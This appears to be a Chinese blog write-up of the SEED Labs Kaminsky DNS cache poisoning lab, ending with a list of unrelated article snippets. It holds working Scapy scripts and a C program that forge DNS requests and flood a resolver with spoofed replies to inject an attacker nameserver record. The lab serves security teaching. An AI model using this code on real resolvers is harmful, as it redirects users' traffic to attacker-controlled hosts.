【Seed-Labs 2.0】The Kaminsky Attack Lab
说在前面
本实验属为Seed-Labs 的DNS LAB 中的第二个实验,是第一个实验的延伸,从攻击者和受害者同一个LAN中变成不在同一个LAN中,该系列一共有五个实验:
- Local DNS Attack Lab
- The Kaminsky Attack Lab
- DNS Rebinding Attack Lab
- DNS Infrastructure Lab
- DNSSEC Lab
本实验的相关文件参见官网 Local DNS Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建
The Kaminsky Attack
关于 Kaminsky: https://en.wikipedia.org/wiki/Dan_Kaminsky
Kaminsky Attack(卡明斯基攻击)是一种针对DNS(Domain Name System)服务器的缓存中毒攻击(DNS Cache Poisoning)。这种攻击于2008年由安全研究员丹·卡明斯基(Dan Kaminsky)发现,并且具有高效性和隐蔽性,影响范围广泛。
DNS缓存的工作原理: DNS服务器通过递归查询的方式解析域名。为了提高效率,DNS服务器会缓存查询结果并将其提供给其他请求者。例如,当一个用户请求解析 example.com
时,DNS服务器会将解析结果缓存一段时间。
DNS缓存中毒的目标: 攻击者通过伪造的DNS响应,向目标DNS服务器注入恶意的解析记录。如果成功,用户请求合法域名(如 example.com
)时,DNS服务器会提供错误的记录(如将 example.com
指向攻击者的IP地址)。
关键要素: DNS请求包含了一个16位的事务ID(Transaction ID, TXID),用于匹配请求和响应。缓存中毒需要满足以下条件:
- 响应必须在合法的DNS服务器答复之前到达。
- 响应的事务ID必须与请求匹配。
- 域名查询必须正确(例如 example.com 的问题部分匹配)。
传统缓存中毒攻击的问题: 由于事务ID仅有16位,可能的值只有65,536种。在传统攻击中,攻击者需要猜测事务ID并伪造响应。如果事务ID不匹配,则响应会被丢弃。
Kaminsky攻击: 卡明斯基发现了一种高效的方式,通过利用DNS的递归查询特性,使缓存中毒攻击变得更容易。Kaminsky 攻击过程:
-
触发DNS递归查询: 攻击者向受害DNS服务器发送一个针对不存在子域的请求,例如
random1234.example.com
。因为该子域不存在,目标DNS服务器会向权威DNS服务器查询。 -
伪造响应: 攻击者伪造来自权威DNS服务器的响应,尝试注入错误的A记录(IPv4地址)。
例如,将example.com
的A记录替换为攻击者的IP地址。 -
重复尝试: 攻击者通过快速发送大量伪造响应来覆盖所有可能的事务ID值。如果事务ID匹配且响应先到达,则恶意数据被缓存。
本实验将 Kaminsky 攻击过程进行拆分,Task1 进行实验环境配置,Task2 实现伪造DNS请求,Task3 实现伪造DNS响应,Task4 实现完整的Kaminsky攻击,Task5 对攻击效果进行验证。
Attack Lab
Task1:Lab Environment Setup
本实验的相关文件参见官网 The Kaminsky Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建
本实验需要四台独立的机器:一台用于受害者,一台用于 DNS 服务器,两台用于攻击者,如下图所示。Lab为了简化设置将四台机器放在了同一个LAN上,但是我们要忽略这一点,需将Attacker是做远程机器,即Attacker无法在LAN上嗅探数据包。
Container Setup
1.进入 Labsetup
文件夹,分别输入 dcbuild
,dcup
启动实验所需的所有容器。
2.可以输入 dockps
查看所有的容器。
Testing the DNS Setup
Get the IP address of ns.attacker32.com. 在 user 容器中输入 dig ns.attacker32.com
查看查询结果。
Get the IP address of www.example.com.
1.在 user 容器中输入 dig www.example.com
查看查询结果。
2.在 user 容器中输入 dig @ns.attacer32.com www.example,com
,查看查询结果。
Task 2: Construct DNS request
任务: 伪造DNS请求给Local DNS Server,使其向 example.com
发送DNS查询。
1.撰写伪造发送程序 task2.py 。
#!/usr/bin/python3
from scapy.all import *Qdsec = DNSQR(qname='austin.example.com') # 请求域名写 xxxx.example.com, xxx随意替换
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
ip = IP(src='1.2.3.4',dst='10.9.0.53') # 原地址随便写,目的地址10.9.0.53
udp = UDP(sport=12345, dport=53,chksum=0) # 原端口随便写,目的端口53request = ip/udp/dns
send(request)
2.使用wireshark监听 Local DNS Server。运行 task2.py
,发现 Local DNS Server接受到伪造的DNS 请求后,向外发送DNS请求。证明伪造成功。
Task 3: Spoof DNS Replies.
任务: 伪造DNS响应数据包,并发送到 Local DNS Server 上。
1.从Task2 的 wireshark 抓包结果,我们可以得到 example.com
服务器的IP地址为 199.43.135.53
。
2.编写 task3.py
#!/usr/bin/python3
from scapy.all import *name= "austin.example.com"
domain = "example.com"
ns= "ns.attacker32.com"
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns= DNS(id=0xAAAA, aa=1, rd=1, qr=1,qdcount=1, ancount=1, nscount=1, arcount=0,qd=Qdsec, an=Anssec, ns=NSsec)
ip= IP(dst='10.9.0.53', src='199.43.135.53') # src = 'example.com' DNS server‘s IP
udp= UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dnssend(reply)
3.使用 wireshark 监听 Local DNS Server。运行 task3.py
,发现 Local DNS Server接受到伪造的DNS 响应。
Task 4: Launch the Kaminsky Attack.
任务: 实现完整的 Kaminsky Attack。
分析: 我们如果使用 .py
文件来实现伪造并发送大量的响应包,可能会因为 .py
文件较低的运行速度而无法在真实的.example.com
的DNS服务器响应返回之前将大量的伪造响应发送至 Local DNS Server上。所以此处我们编写 .c
文件,利用 .c
文件高效的运行速度来实现伪造数据包的发送功能。同时,考虑到使用C语言创建伪造 DNS 数据包的步骤较繁琐,所以我们使用 .py
文件来简化数据包的创建过程。所以最终的 Kaminsky Attack 的实现方案为 .py
+ .c
:
gen_dns_request.py
- 伪造 DNS 请求包gen_dns_response.py
- 伪造 DNS 响应包attack.c
- 修改.py
伪造的DNS 数据包,并实现数据包的发送。
1.编写 gen_dns_request.py
#!/bin/env python3
from scapy.all import *srcIP = '10.0.0.5'
dstIP = '10.9.0.53' # Local DNS Server
ip = IP (dst=dstIP, src=srcIP)
udp = UDP(dport=53, sport=50945, chksum=0)# The C code will modify the qname field
Qdsec = DNSQR(qname='austi.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)pkt = ip/udp/dns
with open('ip_req.bin', 'wb') as f:f.write(bytes(pkt))
2.编写 gen_dns_response.py
#!/bin/env python3
from scapy.all import *# The source IP can be any address, because it will be replaced
# by the C code with the IP address of example.com's actual nameserver.
ip = IP (dst = '10.9.0.53', src = '199.43.133.53')udp = UDP(dport = 33333, sport = 53, chksum=0)# Construct the Question section
# The C code will modify the qname field
Qdsec = DNSQR(qname = "austi.example.com")# Construct the Answer section (the answer can be anything)
# The C code will modify the rrname field
Anssec = DNSRR(rrname = "austi.example.com",type = 'A', rdata = '1.2.3.4', ttl = 259200)# Construct the Authority section (the main goal of the attack)
NSsec = DNSRR(rrname = 'example.com', type = 'NS', rdata = 'ns.attacker32.com',ttl = 259200)# Construct the DNS part
# The C code will modify the id field
dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1, qdcount = 1, qd = Qdsec,ancount = 1, an = Anssec, nscount = 1, ns = NSsec)# Construct the IP packet and save it to a file.
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:f.write(bytes(Replypkt))
3.编写 attack.c
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>#define MAX_FILE_SIZE 1000000
#define QNAME_OFFSET 41
#define ANS_NAME_OFFSET 64
#define TRANS_ID_OFFSET 28/* IP Header */
struct ipheader {unsigned char iph_ihl:4, //IP header lengthiph_ver:4; //IP versionunsigned char iph_tos; //Type of serviceunsigned short int iph_len; //IP Packet length (data + header)unsigned short int iph_ident; //Identificationunsigned short int iph_flag:3, //Fragmentation flagsiph_offset:13; //Flags offsetunsigned char iph_ttl; //Time to Liveunsigned char iph_protocol; //Protocol typeunsigned short int iph_chksum; //IP datagram checksumstruct in_addr iph_sourceip; //Source IP address struct in_addr iph_destip; //Destination IP address
};void send_dns_request(unsigned char *pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id);
void send_raw_packet(char * buffer, int pkt_size);int main()
{srand(time(NULL));// Load the DNS request packet from fileFILE * f_req = fopen("ip_req.bin", "rb");if (!f_req) {perror("Can't open 'ip_req.bin'");exit(1);}unsigned char ip_req[MAX_FILE_SIZE];int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);// Load the first DNS response packet from fileFILE * f_resp = fopen("ip_resp.bin", "rb");if (!f_resp) {perror("Can't open 'ip_resp.bin'");exit(1);}unsigned char ip_resp[MAX_FILE_SIZE];int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);char a[26]="abcdefghijklmnopqrstuvwxyz";unsigned short trans_id = 0;while (1) {// Generate a random name with length 5char name[6];name[5]='\0'; // Null-terminate the stringfor (int k=0; k<5; k++) name[k] = a[rand() % 26];printf("Sending DNS request for name: %s\n", name); // Print the name/* Step 1. Send a DNS request to the targeted local DNS server.This will trigger the DNS server to send out DNS queries */send_dns_request(ip_req, n_req, name);/* Step 2. Send many spoofed responses to the targeted local DNS server,each one with a different transaction ID. */for (int i = 0; i< 500; i++){send_dns_response(ip_resp, n_resp, name, trans_id);trans_id++;}}
}void send_dns_request(unsigned char *pkt, int pktsize, char* name)
{// Use for sending DNS request.// Step 1: replace qname with name, at offset 41memcpy(pkt+QNAME_OFFSET, name, 5);// Step 2: send the dns query outsend_raw_packet(pkt, pktsize);}void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id)
{//Use for sending forged DNS response.// the C code will modify src, qname, rrname and the id field// Step 1: Modify the name in the question field (offset=41)memcpy(pkt+QNAME_OFFSET, name, 5);// Step 2: Modify the name in the answer field (offset=64)memcpy(pkt+ANS_NAME_OFFSET, name, 5);// Step 3: Modify the transaction ID field (offset=28)unsigned short net_id = htons(id); // htons converts to network byte ordermemcpy(pkt+TRANS_ID_OFFSET, &net_id, 2);//Step 4: send the dns response outsend_raw_packet((char*)pkt, pktsize);
}/* Send the raw packet out * buffer: to contain the entire IP packet, with everything filled out.* pkt_size: the size of the buffer.* */
void send_raw_packet(char * buffer, int pkt_size)
{struct sockaddr_in dest_info;int enable = 1;// Step 1: Create a raw network socket.int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);// Step 2: Set socket option.setsockopt(sock, IPPROTO_IP, IP_HDRINCL,&enable, sizeof(enable));// Step 3: Provide needed information about destination.struct ipheader *ip = (struct ipheader *) buffer;dest_info.sin_family = AF_INET;dest_info.sin_addr = ip->iph_destip;// Step 4: Send the packet out.sendto(sock, buffer, pkt_size, 0,(struct sockaddr *)&dest_info, sizeof(dest_info));close(sock);
}
4.在 Attacker 上先后运行 gen_dns_request.py
,gen_dns_response.py
,attack.c
( .c
文件需在虚拟机上编译后再进入 Attacker运行)。运行后,进入 Local DNS Server 容器使用下面的命令查看本地缓存。发现本地缓存已成功存入 ns.attacker32.com
。说明攻击成功。
# rndc dump -cache && grep attacker /var/cache/bind/dump/db
Task 5: Result Verification
任务: 测试 Task4 的攻击成功与否:输入 dig www.example.com
后的结果应该与 dig @ns.attacker32.com www.example.com
的结果相同。
1.输入 dig www.example.com
。
2.输入 dig @ns.attacker32.com www.example.com
,发现二者结果相同,证明我们的攻击成功。
相关文章:
【Seed-Labs 2.0】The Kaminsky Attack Lab
说在前面 本实验属为Seed-Labs 的DNS LAB 中的第二个实验,是第一个实验的延伸,从攻击者和受害者同一个LAN中变成不在同一个LAN中,该系列一共有五个实验: Local DNS Attack LabThe Kaminsky Attack LabDNS Rebinding Attack LabDNS Infrastr…...
node.js中使用express.static()托管静态资源
express.static()定义 express.static(root, [options])是一个中间件函数,负责为Express应用提供静态资源服务。它允许你指定一个或多个目录作为静态资源的根目录,当客户端请求这些资源时,Express会查找并返回对应的文件。 安装express npm i…...
SQL MAX() 函数深入解析
SQL MAX() 函数深入解析 概述 SQL(Structured Query Language)是一种广泛使用的数据库查询语言,它允许用户从数据库中检索、更新和管理数据。在SQL中,MAX() 函数是一个常用的聚合函数,用于从数据集中找出某一列的最大…...
WPF——自定义ToolTip
问题 前一天制作的图标按钮,在测试的过程中发现一个问题:为图标按钮添加的提示如下图所示,它的显示效果非常差,甚至不能看清文本内容,并且其字体与颜色也不是愚所希望的。 产生原因 此是由于tooltip有一个默认的样式…...
linux基本命令(1)
1. 文件和目录操作 ls — 列出目录内容 ls # 显示当前目录的文件和目录 ls -l # 显示详细的文件信息(权限、大小、修改时间等) ls -a # 显示所有文件(包括隐藏文件) ls -lh # 显示详细信息并以易读的方式显示文件大小 cd — 改…...
从0-1逐步搭建一个前端脚手架工具并发布到npm
前言 本文介绍的案例已同步到github,github地址。 vue-cli 和 create-react-app 等 cli 脚手架工具用于快速搭建应用,无需手动配置复杂的构建环境。本文介绍如何使用 rollup 搭建一个脚手架工具。 脚手架工具的工作流程简言为:提供远端仓库…...
开发者视角下的鸿蒙
鸿蒙操作系统(HarmonyOS)是华为公司自主研发的一款面向未来、面向全场景的分布式操作系统。它旨在为用户提供一个无缝的智能生活体验,支持多种终端设备,如智能手机、平板电脑、智能穿戴设备、智能家居等。鸿蒙操作系统的出现&…...
docker基础命令
目录 1、docker拉取镜像 2、查看镜像 3、运行镜像 4、查看容器 5、停止、启动、容器和删除容器 6、进入容器 7、删除镜像 8、保存镜像 9、加载镜像 10、镜像标签 11、制作镜像 12、镜像上传 1、docker拉取镜像 docker pull 用户名/镜像名:tag不加tag(版本号) 即…...
订单日记为“惠采科技”提供全方位的进销存管理支持
感谢温州惠采科技有限责任公司选择使用订单日记! 温州惠采科技有限责任公司,成立于2024年,位于浙江省温州市,是一家以从事销售电气辅材为主的企业。 在业务不断壮大的过程中,想使用一种既能提升运营效率又能节省成本…...
C++共享智能指针
C中没有垃圾回收机制,必须自己释放分配的内存,否则就会造成内存泄漏。解决这个问题最有效的方式是使用智能指针。 智能指针是存储指向动态分配(堆)对象指针的类,用于生存期的控制,能够确保在离开指针所在作用域时,自动…...
数学建模学习(138):基于 Python 的 AdaBoost 分类模型
1. AdaBoost算法简介 AdaBoost(Adaptive Boosting)是一种经典的集成学习算法,由Yoav Freund和Robert Schapire提出。它通过迭代训练一系列的弱分类器,并将这些弱分类器组合成一个强分类器。算法的核心思想是:对于被错误分类的样本,在下一轮训练中增加其权重;对于正确分类…...
sqlite-vec一个SQLite3高效向量搜索扩展--JDBC环境使用
最近要用SQLite3,之前放出来了SQLiteUtile工具,方便操作。今天发现AIGC方面,RAG知识库需要使用向量数据库,来存储知识信息。一般呢都是用mysql,但无奈的是mysql就是不让用。突然又发现SQLite3有向量库扩展组件…...
Spark SQL操作
Spark SQL操作 文章目录 Spark SQL操作一、DataFrame的创建与保存1.前提操作2.数据准备3.创建4.保存DataFrame 二、DataFrame的操作1.printSchema2.show3.select4.filter5.groupBy(filed)6.sort(field) 三、临时表操作1.创建临时表2.通过临时表及SQL语句进行查询 四、从RDD转换…...
【大模型】LLaMA: Open and Efficient Foundation Language Models
链接:https://arxiv.org/pdf/2302.13971 论文:LLaMA: Open and Efficient Foundation Language Models Introduction 规模和效果 7B to 65B,LLaMA-13B 超过 GPT-3 (175B)Motivation 如何最好地缩放特定训练计算预算的数据集和模型大小&…...
聚焦AI存储,联想凌拓全力奔赴
【全球存储观察 | 科技热点关注】 每一个时代,都有每一个时代的骄傲。 在信息化时代,NAS文件存储肩负着非结构化数据管理与存储的重任,NetApp以其创新实力,赢得了全球存储市场的极高声誉。 在数智化时代,…...
ansible常用模块
一.ansible常用模块 ansible [主机or组列表] -m 模块 -a "参数"1.shell:类似于在终端上直接输入命令,支持bash特性2.command(默认模块):使用的变量需要事先定义好,不支持bash特性,如管道、重定向3.script: 执行脚本,支持python,shell脚本4.file:用于在被控…...
window11编译pycdc.exe
一、代码库和参考链接 在对python打包的exe文件进行反编译时,会使用到uncompyle6工具,但是这个工具只支持python3.8及以下,针对更高的版本的python则不能反编译。 关于反编译参考几个文章: Python3.9及以上Pyinstaller 反编译教…...
C语言——break、continue、goto
目录 一、break 二、continue 1、在while循环中 2、在for循环中 三、go to 一、break 作用是终止循环,在循环内遇到break直接就跳出循环。 注: 一个break语句只能跳出一层循环。 代码演示: #include<stdio.h>void test01() {for (…...
实战OpenCV之人脸识别
基础入门 随着计算机视觉技术和深度学习的发展,人脸识别已经成为一项广泛应用的技术,涵盖了从安全监控、身份验证、智能家居到大型公共安全项目等多个领域。 人脸识别技术通常包括以下几个主要步骤。 图像采集:通过摄像头或其他图像采集设备,捕获包含人脸的图像或视频帧。 …...
记录第一次安装laravel项目
window系统 Laravel中文文档:https://laravel-docs.catchadmin.com/docs/11/getting-started/installation 1.使用composer安装全局laravel composer global require laravel/installer2.安装完成后在命令行输入laravel,如果报错:laravel不是…...
AWTK-WEB 快速入门(1) - C 语言应用程序
先安装 AWTK Designer 用 AWTK Designer 新建一个应用程序 2.1. 新建应用程序 这里假设应用程序的名称为 AwtkApplicationC,后面会用到,如果使用其它名称,后面要做相应修改。 在窗口上放置一个按钮将按钮的名称改为 “close”将按钮的文本改…...
《操作系统 - 清华大学》4 -5:非连续内存分配:页表一反向页表
文章目录 1. 大地址空间的问题2. 页寄存器( Page Registers )方案3. 基于关联内存(associative memory )的反向页表(inverted page table)4. 基于哈希(hashed)查找的反向页表5. 小结 1. 大地址空间的问题 …...
数据可视化复习1-Matplotlib简介属性和创建子图
1.Matplotlib简介 Matplotlib是一个Python的2D绘图库,它可以在各种平台上以各种硬拷贝格式和交互环境生成具有出版品质的图形。通过Matplotlib,开发者可以仅需要几行代码,便可以生成绘图、直方图、功率谱、条形图、错误图、散点图等。 以下…...
98. 验证二叉搜索树【 力扣(LeetCode) 】
文章目录 零、原题链接一、题目描述二、测试用例三、解题思路四、参考代码 零、原题链接 98. 验证二叉搜索树 一、题目描述 给你一个二叉树的根节点 root ,判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下: 节点的左子树只包含 小于 当…...
github中banch和tag的应用
GitHub 中的 Branch 和 Tag 之间的关系 在 GitHub 和 Git 中,**Branch(分支)**和**Tag(标签)**都是用来管理和标记代码的概念,但它们在版本控制中扮演不同的角色和有不同的用途。 --- 名词解释 1. 分支…...
鸿蒙HarmonyOS开发:一次开发,多端部署(工程级)三层工程架构
文章目录 一、工程创建1、先创建出最基本的项目工程。2、新建common、features、 products 目录 二、工程结构三、依赖关系1、oh-package.json52、配置ohpm包依赖 四、引用ohpm包中的代码1、定义共享资源2、在common模块index文件中导出3、在phone模块oh-package.json5文件中引…...
无插件H5播放器EasyPlayer.js视频流媒体播放器如何开启electron硬解码Hevc(H265)
在数字化时代,流媒体播放器技术正经历着前所未有的变革。随着人工智能、大数据、云计算等技术的融合,流媒体播放器的核心技术不断演进,为用户提供了更加丰富和个性化的观看体验。 EasyPlayer.js H5播放器,是一款能够同时支持HTTP、…...
关于vue生命周期理解示例代码
在业务运作时,特定的逻辑代码,需要在特定的阶段去执行,所以需要理解Vue的生命周期,以及各个周期内的方法,才能明确业务代码的编写 概述:Vue生命周期,指一个vue实例从创建到销毁的过程。 分为四…...
【MySQL数据库】C#实现MySQL数据库最简单的查询和执行函数
文章目录 前言一、查询方法二、执行方法 前言 C#和MySQL数据库是常见的数据交互,标准的查询和执行方法如下,做个记录。 一、查询方法 private static int QueryTable(string tableName, DateTime today, string stepName){int result 0; // 返回数据…...
深度学习笔记之BERT(二)BERT精简变体:ALBERT
深度学习笔记之BERT——BERT精简变体:ALBERT 引言回顾:ResNet对于反向传播的作用BERT的配置BERT的问题/缺陷ALBERTALBERT的策略BERT VS ALBERT 引言 上一节从 Word2vec \text{Word2vec} Word2vec上下文信息的局限性角度出发,介绍了 BERT \text{BERT} BE…...
Easyexcel(5-自定义列宽)
相关文章链接 Easyexcel(1-注解使用)Easyexcel(2-文件读取)Easyexcel(3-文件导出)Easyexcel(4-模板文件)Easyexcel(5-自定义列宽) 注解 ColumnWidth Data…...
Linux 安装 Git 服务器
一、安装 Git 1. 在 CentOS/RHEL 中使用以下命令: sudo yum update -y # 或者 sudo dnf update -y (在较新的系统中) sudo yum install git -y验证安装:git --version 2. 配置 Git 用户 git config --global user.name "Your Name" git co…...
C#学习笔记——窗口停靠控件WeifenLuo.WinFormsUI.Docking使用-腾讯云开发者社区-腾讯云
C#学习笔记——窗口停靠控件WeifenLuo.WinFormsUI.Docking使用-腾讯云开发者社区-腾讯云 C#学习笔记——窗口停靠控件WeifenLuo.WinFormsUI.Docking使用 发布于 2021-06-10 00:10:59 7.1K0 举报 文章被收录于专栏:c#学习笔记 一、介绍 DockPanelSuite是托管在…...
c++-有关输出、信息输入、趣味输入应用、运算符、变量、浮点数数据类型的基础知识
C是一种功能强大且广泛使用的编程语言,它可以用于开发各种类型的应用程序。在这篇文章中,我们将介绍C程序的输出、信息输入、趣味输入应用、运算符、变量和浮点数数据类型的基础知识。 目录 输出 信息输入 趣味输入应用 运算符 变量 浮点数数据类…...
STM32-- keil 的option for target使用
keil版本号 1.device界面 如:stm32f103c8t6的工程,可以直接在device这里修改成stm32f103vct6,虽然引脚不一样,但是很多一样的地方,可以直接使用,有些不修改也可以下载程序。 2.target xtal的设置不起作用了…...
Python 使用 Token 认证方案连接 Kubernetes (k8s) 的详细过程
在 Kubernetes 中,使用 Token 认证是一种常见的客户端身份验证方式,尤其适用于 ServiceAccount。以下是详细的步骤,包括如何查看 Token、获取 API 服务地址、配置远程连接,以及如何在 Python 中连接 k8s。 1. 获取 Token 首先&a…...
神经网络(系统性学习二):单层神经网络(感知机)
此前篇章: 神经网络中常用的激活函数 神经网络(系统性学习一):入门篇 单层神经网络(又叫感知机) 单层网络是最简单的全连接神经网络,它仅有输入层和输出层,没有隐藏层。即&#x…...
3D Gaussian Splatting在鱼眼相机中的应用与投影变换
paper:Fisheye-GS 1.概述 3D 高斯泼溅 (3DGS) 因其高保真度和实时渲染而备受关注。然而,由于独特的 3D 到 2D 投影计算,将 3DGS 适配到不同的相机型号(尤其是鱼眼镜头)带来了挑战。此外,基于图块的泼溅效率低下,尤其是对于鱼眼镜头的极端曲率和宽视野,这对于其更广泛…...
MATLAB的语音信号采集与处理分析
1、基本描述 本文描述的系统是一个全面而精细的语音信号处理平台,核心组件由MATLAB的高级功能模块构建而成。系统的核心交互界面,借助于MATLAB的uifigure函数搭建,为用户提供了一个直观且响应迅速的操作环境。通过设计的GUI按钮,如…...
H.265流媒体播放器EasyPlayer.js H5流媒体播放器如何验证视频播放是否走硬解
随着技术的不断进步和5G网络的推广,中国流媒体播放器行业市场规模以及未来发展趋势都将持续保持稳定的增长,并将在未来几年迎来新的发展机遇。流媒体播放器将继续作为连接内容创作者和观众的重要桥梁,推动数字媒体产业的创新和发展。 EasyPla…...
深度学习:ResNet每一层的输出形状
其中 /**在输出通道数为64、步幅为2的7 7卷积层后,接步幅为2的3 3的最大汇聚层,与GoogLeNet区别是每个卷积层后增加了批量规范层**/ b1 nn.Sequential(nn.Conv2d(1, 64, kernel_size7, stride2, padding3),nn.BatchNorm2d(64), nn.ReLU(),nn.MaxPool2d(kernel_s…...
牛客题库 21738 牛牛与数组
牛牛与数组题目链接 题目大意 牛牛喜欢这样的数组: 1:长度为n 2:每一个数都在1到k之间 3:对于任意连续的两个数A,B,A<=B 与(A % B != 0) 两个条件至少成立一个请问一共有多少满足条件的数组,对 1 e 9 + 7 1e^9+7 1e9+7 取模 输入格式 输入两个整数 n , k n,k n,…...
学会Lambda,让程序Pythonic一点
Lambda是Python里的高阶用法,要把代码写得Pythonic,就需要了解这些高阶用法,想说自己是一名真正的Python程序员,先要把代码写得Pythonic。 今天聊下Lambda的用法,写篇简短的用法说明。 Lambda是匿名函数的意思&#…...
旋转向量v和旋转矩阵R
旋转向量v和旋转矩阵R 旋转向量 v 和旋转矩阵 R 是三维空间中描述旋转的两种数学表示方式。两者的关系通过 Rodrigues 公式 建立。 1. 旋转向量v 2. 旋转矩阵R 3. 旋转向量v和旋转矩阵R的关系 两者通过 Rodrigues 公式 和特殊的矩阵运算互相转换: 4. 代码示例 1…...
CSS浮动:概念、特性与应用
CSS浮动是网页设计和开发中常见的布局技术之一,以下是CSS浮动相关的所有重要知识点: 一、浮动的定义与语法 浮动(float)属性可以指定一个元素应沿其容器的左侧或右侧放置,允许文本和内联元素环绕它。浮动属性最初只用…...
类和对象(下)
1.取地址运算符重载 1.1 const成员函数 • 将const修饰的成员函数称之为const成员函数,const修饰成员函数放到成员函数参数列表的后 ⾯。 • const实际修饰该成员函数隐含的this指针,表明在该成员函数中不能对类的任何成员进行修改。 const 修饰D…...
后端接受大写参数(亲测能用)
重要点引入包别引用错了 import com.fasterxml.jackson.databind.annotation.JsonSerialize; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Data;JsonSerialize Data public class Item {JsonProperty(value "Token")private String token…...
Android仿前端分页组件pagination
仿前端pagination Android仿前端分页组件pagination 最近Android原生有个需求就是做个分页组件,不用上拉加载,因为数据量太大用户喜欢前端的方式,UI主要是拼凑比较简单,主要补充了一些判断越界和数据不全的细节,记录方…...
网络安全中常用浏览器插件、拓展
引言 现在的火狐、Edge( Chromium内核)、Chrome等浏览器带有插件、拓展(Plugin)的功能。这些插件中有的可以过滤广告,有的提供便捷的翻译,有的提供JavaScript脚本支持,方便用户的使用也大大的增…...
Vue 使用 Cropper.js 实现图片裁剪功能
前言 图片裁剪功能无论是用户头像的裁剪,还是图片内容的精确调整,都成为了提升用户体验的关键一环。Vue.js 结合 Cropper.js 这一功能丰富的图片裁剪库,可以轻松实现高效、直观的图片裁剪功能。本文将详细介绍如何在 Vue.js 项目中集成并使用…...